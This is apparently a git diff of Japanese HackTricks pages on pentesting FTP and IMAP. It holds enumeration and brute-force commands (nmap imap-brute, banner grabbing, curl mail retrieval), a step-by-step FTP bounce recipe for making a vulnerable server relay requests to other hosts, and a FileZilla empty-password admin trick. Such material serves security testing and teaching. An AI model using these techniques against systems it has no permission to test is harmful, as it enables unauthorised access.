ただし、FTPクライアントに外部からの着信データ接続を制御するファイアウォールが設定されている場合、アクティブFTPは問題となる場合があります。そのため、パッシブFTPは実現可能な解決策です。 ただし、FTPクライアントに外部からの着信データ接続を制御するファイアウォールが設定されている場合、アクティブFTPは問題になる可能性があります。そのため、パッシブFTPは実現可能な解決策です。
**パッシブFTP**では、クライアントはポートNからFTPサーバーのポート21への制御接続を開始します。その後、クライアントは**passvコマンド**を発行します。サーバーはクライアントに自身のポート番号Mのいずれかを送信します。そして、クライアントはFTPサーバーのポートMへのデータ**接続**を**開始**します。 **パッシブFTP**では、クライアントはポートNからFTPサーバーのポート21への制御接続を初期化します。その後、クライアントは**passvコマンド**を発行します。サーバーはクライアントに自身のポート番号Mのいずれかを送信します。そして、**クライアント**はFTPサーバーのポートMへのデータ**接続**を**初期化**します。
ソース:[https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/) ソース:[https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
### 接続のデバッグ ### 接続のデバッグ
**FTP**コマンド**`debug`**と**`trace`**を使用して、**通信の状況**を確認できます。 **FTP**コマンド**`debug`**と**`trace`**を使用すると、**通信の方法**を確認できます。
## 列挙 ## 列挙
### バナーの取得 ### バナーグラビング
```bash ```bash
nc -vn <IP> 21 nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
@ -58,28 +66,9 @@ To connect to an FTP server using Starttls, follow these steps:
quote AUTH TLS quote AUTH TLS
``` ```
5. If the server supports Starttls, it will respond with a message indicating that the TLS negotiation was successful. 5. If the server supports Starttls, it will respond with a message indicating that the TLS negotiation was successful.
6. After the TLS negotiation, you can use the usual FTP commands to interact with the server. 6. After the TLS negotiation is complete, you can use regular FTP commands to interact with the server.
Note: Some FTP clients may have a specific command or option to enable Starttls. Refer to the documentation of your FTP client for more information. Note: Make sure that the FTP server you are connecting to supports Starttls. If it does not, you will not be able to establish a secure connection using this method.
### Starttlsを使用してFTPに接続する方法
Starttlsを使用してFTPサーバーに接続するには、以下の手順に従ってください。
1. ターミナルまたはコマンドプロンプトを開きます。
2. `ftp`コマンドの後に接続したいFTPサーバーのIPアドレスまたはドメイン名を入力します。例
```
ftp 192.168.0.1
```
3. プロンプトが表示されたら、FTPのユーザー名とパスワードを入力します。
4. 接続が確立したら、`quote`コマンドを使用して`AUTH TLS`コマンドをサーバーに送信します。これにより、Starttlsの交渉が開始されます。例
```
quote AUTH TLS
```
5. サーバーがStarttlsをサポートしている場合、TLSの交渉が成功したことを示すメッセージが返されます。
6. TLSの交渉後、通常のFTPコマンドを使用してサーバーとやり取りすることができます。
注意一部のFTPクライアントには、Starttlsを有効にするための特定のコマンドやオプションがある場合があります。詳細については、FTPクライアントのドキュメントを参照してください。
``` ```
lftp lftp
lftp :~> set ftp:ssl-force true lftp :~> set ftp:ssl-force true
@ -95,7 +84,7 @@ lftp 10.10.10.208:~> login username Password
```bash ```bash
sudo nmap -sV -p21 -sC -A 10.10.10.10 sudo nmap -sV -p21 -sC -A 10.10.10.10
``` ```
FTPサーバーの情報を取得するために、`HELP`と`FEAT`コマンドを使用することができます。 FTPサーバーの情報を取得するために、`HELP`コマンドと`FEAT`コマンドを使用することができます。
``` ```
HELP HELP
214-The following commands are recognized (* =>'s unimplemented): 214-The following commands are recognized (* =>'s unimplemented):
@ -151,13 +140,13 @@ ftp <IP>
### 自動化 ### 自動化
匿名ログインとバウンスFTPチェックは、nmapの**-sC**オプションまたは次のコマンドでデフォルトで実行されます: 匿名ログインとバウンスFTPチェックは、nmapの**-sC**オプションまたは次のようにデフォルトで実行されます:
```bash ```bash
nmap --script ftp-* -p 21 <ip> nmap --script ftp-* -p 21 <ip>
``` ```
## ブラウザ接続 ## ブラウザ接続
ブラウザFirefoxなどを使用して、次のようなURLを使用してFTPサーバーに接続することができます。 FTPサーバーには、ブラウザFirefoxなどを使用して次のようなURLを使用して接続することができます
```bash ```bash
ftp://anonymous:anonymous@10.10.10.98 ftp://anonymous:anonymous@10.10.10.98
``` ```
@ -173,10 +162,10 @@ wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
* **`USER ユーザー名`** * **`USER ユーザー名`**
* **`PASS パスワード`** * **`PASS パスワード`**
* **`HELP`** サーバーはサポートされているコマンドを示します * **`HELP`** サーバーはサポートされているコマンドを示します
* **`PORT 127,0,0,1,0,80`** これにより、FTPサーバーにIPアドレス127.0.0.1のポート80で接続するよう指示します_5番目の文字を「0」、6番目を10進数でポートを表すか、5番目と6番目を使用してポートを16進数で表す_ * **`PORT 127,0,0,1,0,80`** これにより、FTPサーバーにIPアドレス127.0.0.1のポート80で接続するよう指示します_5番目の文字を「0」、6番目を10進数でポートを表すか、5番目と6番目を使用してポートを16進数で表す必要があります_
* **`EPRT |2|127.0.0.1|80|`** これにより、FTPサーバーにIPアドレス127.0.0.1のポート80でTCP接続_「2」で示される_を確立するよう指示します。このコマンドは**IPv6をサポート**しています。 * **`EPRT |2|127.0.0.1|80|`** これにより、FTPサーバーにIPアドレス127.0.0.1のポート80でTCP接続_「2」で示される_を確立するよう指示します。このコマンドは**IPv6をサポート**しています。
* **`LIST`** 現在のフォルダ内のファイルのリストを送信します * **`LIST`** 現在のフォルダ内のファイルのリストを送信します
* **`LIST -R`** 再帰的にリストします(サーバーが許可している場合) * **`LIST -R`** 再帰的にリストします(サーバーが許可る場合)
* **`APPE /path/something.txt`** これにより、FTPが**パッシブ**接続または**PORT/EPRT**接続から受信したデータをファイルに保存するようFTPに指示します。ファイル名が存在する場合、データを追加します。 * **`APPE /path/something.txt`** これにより、FTPが**パッシブ**接続または**PORT/EPRT**接続から受信したデータをファイルに保存するようFTPに指示します。ファイル名が存在する場合、データを追加します。
* **`STOR /path/something.txt`** `APPE`と同様ですが、ファイルを上書きします * **`STOR /path/something.txt`** `APPE`と同様ですが、ファイルを上書きします
* **`STOU /path/something.txt`** `APPE`と同様ですが、存在する場合は何もしません。 * **`STOU /path/something.txt`** `APPE`と同様ですが、存在する場合は何もしません。
@ -192,32 +181,32 @@ wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
一部のFTPサーバーでは、PORTコマンドを許可しています。このコマンドを使用して、FTPサーバーを介してホストのどのポートが開いているかをスキャンすることができます。 一部のFTPサーバーでは、PORTコマンドを許可しています。このコマンドを使用して、FTPサーバーを介してホストのどのポートが開いているかをスキャンすることができます。
[**ここでFTPサーバーを悪用してポートをスキャンする方法を学びま。**](ftp-bounce-attack.md) [**ここでFTPサーバーを悪用してポートをスキャンする方法を学びましょう。**](ftp-bounce-attack.md)
また、この動作を悪用してFTPサーバーを他のプロトコルと対話させることもできます。HTTPリクエストを含むファイルをアップロードし、脆弱なFTPサーバーにそれを任意のHTTPサーバーに送信させる_新しい管理者ユーザーを追加するために_か、FTPリクエストをアップロードし、脆弱なFTPサーバーに別のFTPサーバーからファイルをダウンロードさせることができます。\ また、この動作を悪用してFTPサーバーを他のプロトコルと対話させることもできます。HTTPリクエストを含むファイルをアップロードし、脆弱なFTPサーバーにそれを任意のHTTPサーバーに送信させる_新しい管理者ユーザーを追加するために_か、FTPリクエストをアップロードし、脆弱なFTPサーバーに異なるFTPサーバーからファイルをダウンロードさせることができます。\
理論は簡単です: 理論は簡単です:
1. **脆弱なサーバーにリクエスト(テキストファイル内)をアップロードします。** 別のHTTPまたはFTPサーバーと通信する場合は、`0x0d 0x0a`で行を変更する必要があります。 1. **リクエスト(テキストファイル内)を脆弱なサーバーにアップロードします。**別のHTTPまたはFTPサーバーと通信する場合は、`0x0d 0x0a`で行を変更する必要があります。
2. **送信したくない文字を送信しないようにするために、`REST X`を使用します**(おそらくリクエストをファイル内にアップロードするために、最初にいくつかのイメージヘッダを追加する必要があるかもしれません)。 2. **送信したくない文字を送信しないようにするために、`REST X`を使用します**(おそらくリクエストをファイルの先頭に画像ヘッダーを追加する必要がある場合など)
3. **`PORT`を使用して任意のサーバーとサービスに接続します** 3. **`PORT`を使用して任意のサーバーとサービスに接続します**
4. **`RETR`を使用して保存されたリクエストをサーバーに送信します** 4. **`RETR`を使用して保存されたリクエストをサーバーに送信します**
これにより、**「ソケットが書き込み不可」**などのエラーが発生する可能性が非常に高いです**`RETR`でデータを送信するための接続が十分に続かないため)**。それを回避しようとするための提案は次のとおりです: これにより、**「ソケットが書き込み不可」**などのエラーが発生する可能性が非常に高いです**`RETR`でデータを送信するための接続が十分に続かないため)**。それを回避しようとするための提案は次のとおりです:
* HTTPリクエストを送信している場合は、**少なくとも\~0.5MBまで**同じリクエストを繰り返し送信します。次のように: * HTTPリクエストを送信している場合は、**少なくとも\~0.5MBまで同じリクエストを繰り返し送信**します。次のように:
{% file src="../../.gitbook/assets/posts (1).txt" %} {% file src="../../.gitbook/assets/posts (1).txt" %}
posts.txt posts.txt
{% endfile %} {% endfile %}
* プロトコルに関連する**「ジャンク」データでリクエストを埋め込む**FTPに話しかける場合は、ジャンクコマンドだけまたは`RETR`命令を繰り返してファイルを取得する) * プロトコルに関連する**「ジャンク」データでリクエストを埋める**FTPに話しかける場合はジャンクコマンドだけまたは`RETR`命令を繰り返すことでファイルを取得する)
* 単に**ヌル文字やその他の文字でリクエストを埋める**(行ごとに分割されているかどうか) * 単に**ヌル文字やその他の文字でリクエストを埋める**(行ごとに分割されているかどうか)
とにかく、ここには[古い例があります。これにより、FTPサーバーが別のFTPサーバーからファイルをダウンロードするようになります。](ftp-bounce-download-2oftp-file.md) とにかく、ここには[古い例があります。これにより、FTPサーバーが異なるFTPサーバーからファイルをダウンロードするようになります。](ftp-bounce-download-2oftp-file.md)
## Filezilla Serverの脆弱性 ## Filezilla Serverの脆弱性
**FileZilla**は通常、**FileZilla-Server**ポート14147の**管理サービス**を**ローカルにバインド**します。このポートにアクセスするために**マシンからトンネル**を作成できれば、**空のパスワード**で**接続**し、FTPサービスのために**新しいユーザー**を作成することができます。 **FileZilla**は通常、**FileZilla-Server**ポート14147の**管理サービス**を**ローカルにバインド**します。このポートへのアクセスのために**自分のマシン**から**トンネル**を作成できれば、**空のパスワード**で**接続**し、FTPサービスのために**新しいユーザー**を作成することができます。
## 設定ファイル ## 設定ファイル
``` ```
@ -228,7 +217,7 @@ vsftpd.conf
``` ```
### ポストエクスプロイテーション ### ポストエクスプロイテーション
vsFTPdのデフォルト設定は`/etc/vsftpd.conf`にあります。ここでは、いくつかの危険な設定が見つかる可能性があります: vsFTPdのデフォルト設定は`/etc/vsftpd.conf`にあります。ここにはいくつかの危険な設定があります:
* `anonymous_enable=YES` * `anonymous_enable=YES`
* `anon_upload_enable=YES` * `anon_upload_enable=YES`
@ -237,7 +226,7 @@ vsFTPdのデフォルトの設定は`/etc/vsftpd.conf`にあります。ここ
* `chown_uploads=YES` - 匿名でアップロードされたファイルの所有権を変更する * `chown_uploads=YES` - 匿名でアップロードされたファイルの所有権を変更する
* `chown_username=username` - 匿名でアップロードされたファイルの所有権を与えられるユーザー * `chown_username=username` - 匿名でアップロードされたファイルの所有権を与えられるユーザー
* `local_enable=YES` - ローカルユーザーのログインを有効にする * `local_enable=YES` - ローカルユーザーのログインを有効にする
* `no_anon_password=YES` - パスワードを匿名ユーザーに要求しない * `no_anon_password=YES` - 匿名ユーザーにパスワードを要求しない
* `write_enable=YES` - STOR、DELE、RNFR、RNTO、MKD、RMD、APPE、SITEのコマンドを許可する * `write_enable=YES` - STOR、DELE、RNFR、RNTO、MKD、RMD、APPE、SITEのコマンドを許可する
### Shodan ### Shodan
@ -245,7 +234,15 @@ vsFTPdのデフォルトの設定は`/etc/vsftpd.conf`にあります。ここ
* `ftp` * `ftp`
* `port:21` * `port:21`
## HackTricks 自動コマンド <figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて修正を迅速に行いましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまでクラウドシステム全体にわたる問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm_source=referral&utm_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## HackTricks自動コマンド
``` ```
Protocol_Name: FTP #Protocol Abbreviation if there is one. Protocol_Name: FTP #Protocol Abbreviation if there is one.
Port_Number: 21 #Comma separated if there is more than one. Port_Number: 21 #Comma separated if there is more than one.
@ -301,10 +298,10 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP};
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 * **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details> </details>

View file

@ -16,27 +16,41 @@
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できます。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステム全体にわたる問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Internet Message Access Protocol ## Internet Message Access Protocol
その名前が示すように、IMAPは**どこにいても電子メールメッセージにアクセス**できます。ほとんどの場合、インターネット経由でアクセスされます。基本的に、電子メールの**メッセージはサーバーに保存**されます。受信トレイを確認するたびに、電子メールクライアントはサーバーに接続してメッセージにアクセスします。IMAPを使用して電子メールメッセージを読むと、実際にはコンピュータに**ダウンロードしたり保存したりすることはありません**。代わりに、サーバーから**読み取ります**。その結果、異なるデバイスから電子メールを**チェック**することができ、何も見逃すことはありません。 その名前が示すように、IMAPは**どこにいても電子メールメッセージにアクセス**できます。ほとんどの場合、インターネット経由でアクセスされます。基本的に、電子メールの**メッセージはサーバーに保存**されます。受信トレイを確認するたびに、電子メールクライアントはサーバーに接続してメッセージにアクセスします。IMAPを使用して電子メールメッセージを読むと、実際にはコンピュータに**ダウンロードしたり保存したりするわけではありません**。代わりに、サーバーから**読み取ります**。その結果、異なるデバイスから電子メールを**逃さずに**チェックすることができます
デフォルトでは、IMAPプロトコルは2つのポートで動作します デフォルトでは、IMAPプロトコルは2つのポートで動作します
* **ポート143** - これはデフォルトのIMAP非暗号化ポートです。 * **ポート143** - これはデフォルトのIMAP非暗号化ポートです
* **ポート993** - これはIMAPを安全に接続するために使用するポートです。 * **ポート993** - IMAPを安全に接続する場合に使用するポートです
``` ```
PORT STATE SERVICE REASON PORT STATE SERVICE REASON
143/tcp open imap syn-ack 143/tcp open imap syn-ack
``` ```
## バナーの取得 ## バナーの取得
バナーの取得は、IMAPサーバーに接続している際に、サーバーが提供するバナーメッセージを取得するテクニックです。バナーメッセージには、サーバーのバージョンや製品名などの情報が含まれていることがあります。この情報は、攻撃者がサーバーの脆弱性を特定するために使用することができます。 Banner grabbingバナーの取得は、ネットワークサービスのペンテストにおいて非常に重要な手法です。この手法は、ターゲットのサーバーが提供するサービスのバナー情報を取得することを目的としています。バナー情報には、サービスのバージョンや製造元などが含まれており、攻撃者にとっては貴重な情報源となります。
バナーメッセージを取得するには、IMAPクライアントを使用してサーバーに接続し、サーバーからの応答を確認します。応答の中には、バナーメッセージが含まれている場合があります。バナーメッセージは、通常、サーバーが接続要求に対して返す最初の応答として表示されます。 バナーの取得には、IMAPInternet Message Access Protocolサービスを利用することが一般的です。IMAPは、電子メールの受信に使用されるプロトコルであり、多くのメールサーバーがこのプロトコルをサポートしています。
バナーメッセージには、サーバーのバージョンや製品名、サポートされている認証メカニズムなどの情報が含まれていることがあります。この情報を使用して、攻撃者はサーバーの脆弱性を特定し、適切な攻撃手法を選択することができます。 バナーの取得は、以下の手順で行われます。
バナーメッセージの取得は、情報収集フェーズで非常に役立つテクニックです。バナーメッセージには、攻撃者が攻撃を計画するために必要な情報が含まれている場合があります。 1. ポートスキャンを実行し、ターゲットのサーバー上でIMAPサービスが稼働していることを確認します。
2. IMAPクライアントを使用して、ターゲットのサーバーに接続します。
3. サーバーからの応答を解析し、バナー情報を取得します。
バナー情報は、攻撃者にとって重要な情報源となるため、セキュリティ上の脆弱性を特定するために使用されます。また、バナー情報を利用して、攻撃者は特定のバージョンの脆弱性を悪用するための攻撃手法を選択することもあります。
バナーの取得は、ネットワークサービスのペンテストにおいて基本的な手法であり、セキュリティの評価や脆弱性診断において重要な役割を果たします。
```bash ```bash
nc -nv <IP> 143 nc -nv <IP> 143
openssl s_client -connect <IP>:993 -quiet openssl s_client -connect <IP>:993 -quiet
@ -52,7 +66,7 @@ root@kali: telnet example.com 143
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA= >> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
+ TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA + TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
``` ```
または、**nmap**プラグイン`imap-ntlm-info.nse`を使用して、これを**自動化**することもできます。 または、**nmap**プラグイン`imap-ntlm-info.nse`を使用して、これを**自動化**ます。
### [IMAPブルートフォース](../generic-methodologies-and-resources/brute-force.md#imap) ### [IMAPブルートフォース](../generic-methodologies-and-resources/brute-force.md#imap)
@ -105,91 +119,7 @@ A1 LOGOUT
``` ```
[ここから](https://donsutherland.org/crib/imap) [ここから](https://donsutherland.org/crib/imap)
### エボリューション ### 進化
```bash
nmap -p 143 --script imap-capabilities <target>
```
IMAP サーバーの機能を列挙するために `nmap` を使用します。
```bash
nmap -p 143 --script imap-ntlm-info <target>
```
NTLM 認証を使用している場合、ユーザー名とドメイン名を特定するために `nmap` を使用します。
```bash
nmap -p 143 --script imap-brute <target>
```
IMAP サーバーのパスワードをブルートフォース攻撃するために `nmap` を使用します。
```bash
nmap -p 143 --script imap-ssl <target>
```
IMAP サーバーが SSL/TLS をサポートしているかどうかを確認するために `nmap` を使用します。
```bash
nmap -p 143 --script imap-starttls <target>
```
IMAP サーバーが STARTTLS をサポートしているかどうかを確認するために `nmap` を使用します。
```bash
nmap -p 143 --script imap-ntlm-ssp <target>
```
NTLM SSP を使用している場合、ユーザー名とドメイン名を特定するために `nmap` を使用します。
```bash
nmap -p 143 --script imap-ntlm-version <target>
```
NTLM バージョンを特定するために `nmap` を使用します。
```bash
nmap -p 143 --script imap-capabilities <target>
```
IMAP サーバーの機能を列挙するために `nmap` を使用します。
```bash
nmap -p 143 --script imap-ntlm-info <target>
```
NTLM 認証を使用している場合、ユーザー名とドメイン名を特定するために `nmap` を使用します。
```bash
nmap -p 143 --script imap-brute <target>
```
IMAP サーバーのパスワードをブルートフォース攻撃するために `nmap` を使用します。
```bash
nmap -p 143 --script imap-ssl <target>
```
IMAP サーバーが SSL/TLS をサポートしているかどうかを確認するために `nmap` を使用します。
```bash
nmap -p 143 --script imap-starttls <target>
```
IMAP サーバーが STARTTLS をサポートしているかどうかを確認するために `nmap` を使用します。
```bash
nmap -p 143 --script imap-ntlm-ssp <target>
```
NTLM SSP を使用している場合、ユーザー名とドメイン名を特定するために `nmap` を使用します。
```bash
nmap -p 143 --script imap-ntlm-version <target>
```
NTLM バージョンを特定するために `nmap` を使用します。
``` ```
apt install evolution apt install evolution
``` ```
@ -227,12 +157,12 @@ $ curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
メールインデックスは、検索操作から返されるインデックスと同じです。 メールインデックスは、検索操作から返されるインデックスと同じです。
また、メッセージにアクセスするために`UID`一意のIDを使用することも可能ですが、検索コマンドを手動でフォーマットする必要があるため、便利ではありません。例えば、 また、メッセージにアクセスするために`UID`一意のIDを使用することも可能ですが、検索コマンドを手動でフォーマットする必要があるため、便利ではありません。例えば、以下のようになります。
```bash ```bash
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass $ curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
$ curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass $ curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
``` ```
また、メッセージの一部をダウンロードすることも可能です。えば、最初の5つのメッセージの件名と送信者をダウンロードすることができます`-v`オプションは件名と送信者を表示するために必要です): また、メッセージの一部をダウンロードすることも可能です。たとえば、最初の5つのメッセージの件名と送信者をダウンロードすることができます件名と送信者を表示するには`-v`が必要です):
```bash ```bash
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<' $ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
``` ```
@ -278,18 +208,25 @@ Description: IMAP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS {IP}; set RPORT 143; run; exit' Command: msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS {IP}; set RPORT 143; run; exit'
``` ```
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは、攻撃対象を追跡し、予防的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステムを含むテックスタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 - [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
</details> </details>

View file

@ -5,33 +5,24 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
